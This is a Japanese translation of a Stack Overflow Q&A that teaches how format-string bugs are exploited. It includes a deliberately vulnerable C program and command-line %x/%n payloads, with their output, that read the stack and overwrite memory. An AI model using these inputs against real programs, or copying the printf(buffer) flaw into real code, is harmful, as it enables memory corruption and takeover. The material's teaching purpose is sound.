67

コードの脆弱性について読んでいて、このFormat-String Vulnerabilityに出会いました。

ウィキペディアは次のように述べています。

フォーマット文字列のバグは、プログラマーがユーザー提供のデータを含む文字列を出力したい場合に最もよく発生します。プログラマーは、誤って printf("%s", buffer) の代わりに printf(buffer) を書き込む可能性があります。最初のバージョンは、 buffer をフォーマット文字列として解釈し、含まれている可能性のあるフォーマット命令を解析します。2 番目のバージョンは、プログラマーが意図したとおり、単純に文字列を画面に出力します。

printf(buffer) バージョンで問題が発生しましたが、攻撃者がこの脆弱性を悪用して有害なコードを実行する方法についてはまだわかりませんでした。この脆弱性がどのように悪用されるのか、例を挙げて教えてください。

4

5 に答える 5

98

直接または間接的に、さまざまな方法でフォーマット文字列の脆弱性を悪用できる可能性があります。以下を例として使用しましょう (関連する OS 保護がないと仮定しますが、これはとにかく非常にまれです)。

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

この脆弱性の根底にあるのは、可変引数を持つ関数の動作です。可変数のパラメーターの処理を実装する関数は、基本的にスタックからそれらを読み取る必要があります。スタック上で 2 つの整数を想定するフォーマット文字列を指定し、printf()パラメーターを 1 つだけ指定する場合、2 番目のパラメーターはスタック上の別のものでなければなりません。拡張により、フォーマット文字列を制御できる場合は、最も基本的な 2 つのプリミティブを使用できます。


任意のメモリアドレスからの読み取り

[編集]重要:ここでは、スタック フレームのレイアウトについていくつかの仮定を立てています。脆弱性の背後にある基本的な前提を理解している場合は無視できますが、OS、プラットフォーム、プログラム、および構成によって異なります。

%sformat パラメータを使用してデータを読み取ることができます。で元のフォーマット文字列のデータを読み取ることがprintf(text)できるため、それを使用してスタックから何かを読み取ることができます。

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

任意のメモリアドレスへの書き込み

フォーマット指定子を使用して、%n(ほぼ) 任意のアドレスに書き込むことができます。some_valueもう一度、上記の脆弱なプログラムを想定して、上記のようににあるの値を変更してみましょう0x08049794

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

指定子がsome_value検出される前に書き込まれたバイト数で上書きしました ( )。フォーマット文字列自体、またはフィールド幅を使用して、この値を制御できます。%nman printf

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

試行すべき多くの可能性とトリック (パラメーターへの直接アクセス、ラップアラウンドを可能にする大きなフィールド幅、独自のプリミティブの作成) があり、これは氷山の一角にすぎません。fmt文字列の脆弱性に関する記事をもっと読むことをお勧めします(Phrackには、少し高度なものかもしれませんが、ほとんどが優れたものがあります)、またはこの主題に触れた本を読むことをお勧めします。


免責事項: 例は、Jon Erickson著の本Hacking: The art of exploreation (第 2 版)から [逐語的ではありませんが] 取られています。

于 2011-09-18T05:54:25.783 に答える
19

n$POSIXでサポートされている表記法について誰も言及していないのは興味深いことです。攻撃者としてフォーマット文字列を制御できる場合は、次のような表記法を使用できます。

"%200$p"

スタック上の200番目のアイテムを読み取る(存在する場合)。目的は、1から最大までのすべてのn$数値をリストすることであり、パラメーターがフォーマット文字列でどのように表示されるかを再シーケンスする方法を提供します。これは、I18N(L10N、G11N、M18N *)を処理するときに便利です。

ただし、一部の(おそらくほとんどの)システムは、値を検証する方法についてやや不十分でn$あり、これにより、フォーマット文字列を制御できる攻撃者による悪用につながる可能性があります。フォーマット指定子と組み合わせると%n、これはポインター位置での書き込みにつながる可能性があります。


*頭字語I18N、L10N、G11N、およびM18Nは、それぞれ国際化、ローカリゼーション、グローバリゼーション、および多国籍化を表します。数字は省略された文字の数を表します。

于 2011-09-19T05:12:26.730 に答える
9

ああ、答えは記事にあります!

制御されていないフォーマット文字列は、1999 年頃に発見されたソフトウェアの脆弱性の一種で、セキュリティの悪用に使用される可能性があります。以前は無害と考えられていたフォーマット文字列のエクスプロイトを使用して、プログラムをクラッシュさせたり、有害なコードを実行したりすることができます。

典型的なエクスプロイトでは、これらの手法を組み合わせて使用​​し、プログラムにライブラリ関数のアドレスまたはスタック上の戻りアドレスを悪意のあるシェルコードへのポインターで上書きさせます。フォーマット指定子への埋め込みパラメーターは、出力バイト数を制御するために使用され、%xトークンは、フォーマット文字列自体の先頭に到達するまで、スタックからバイトをポップするために使用されます。フォーマット文字列の先頭は、実行する悪意のあるコードのアドレスで%nフォーマット トークンが上書きできるアドレスを含むように細工されています。

これは、スタック上にある変数にデータを書き込むため%n です。printfしかし、それは任意に何かに書き込むことができることを意味します。必要なのは、誰かがその変数を使用することだけです (その変数がたまたま関数ポインターであり、その値が制御方法を理解したばかりである場合は比較的簡単です)。

記事内のリンクを見てください。面白そうです。

于 2011-09-18T05:41:22.607 に答える
2

フォーマット文字列の脆弱性に関するこの講義ノートを読むことをお勧めします。何がどのように発生するかを詳細に説明し、トピックを理解するのに役立つ画像をいくつか示します。

于 2013-03-31T09:14:23.760 に答える
0

私の知る限り、それは主に、サービス拒否攻撃と見なされるプログラムをクラッシュさせる可能性があるためです。必要なのは、無効なアドレスを指定することだけです (事実上、いくつか%s's が含まれているものはすべて動作することが保証されています)。これは、単純なサービス拒否 (DoS) 攻撃になります。

さて、例外/シグナル/割り込みハンドラーの場合、それが何かをトリガーすることは理論的に可能ですが、それを行う方法を理解することは私を超えています-任意のデータをメモリに書き込む方法も理解する必要があります。

しかし、なぜプログラムがクラッシュしたかどうかを気にする人がいるでしょうか? それはユーザーに迷惑をかけるだけではありませんか?

問題は、一部のプログラムが複数のユーザーによってアクセスされるため、それらをクラッシュさせると無視できないコストがかかることです。または、システムの実行にとって重要な場合 (または非常に重要なことを実行している場合) は、データに損害を与える可能性があります。もちろん、メモ帳をクラッシュさせても誰も気にしないかもしれませんが、CSRSS をクラッシュさせた場合 (これには実際に同様の種類のバグ、特にダブルフリーのバグがあったと思います)、そうです、システム全体がダウンします。 .


アップデート:

私が言及していた CSRSS バグについては、このリンクを参照してください。


編集:

任意のデータを読み取ることは、任意のコードを実行するのと同じくらい危険であることに注意してください! パスワードや Cookie などを読み取ると、任意のコードが実行されるのと同じくらい深刻です。十分なフォーマット文字列を試すだけの時間があれば、これは些細なことです。

于 2011-09-18T05:28:09.290 に答える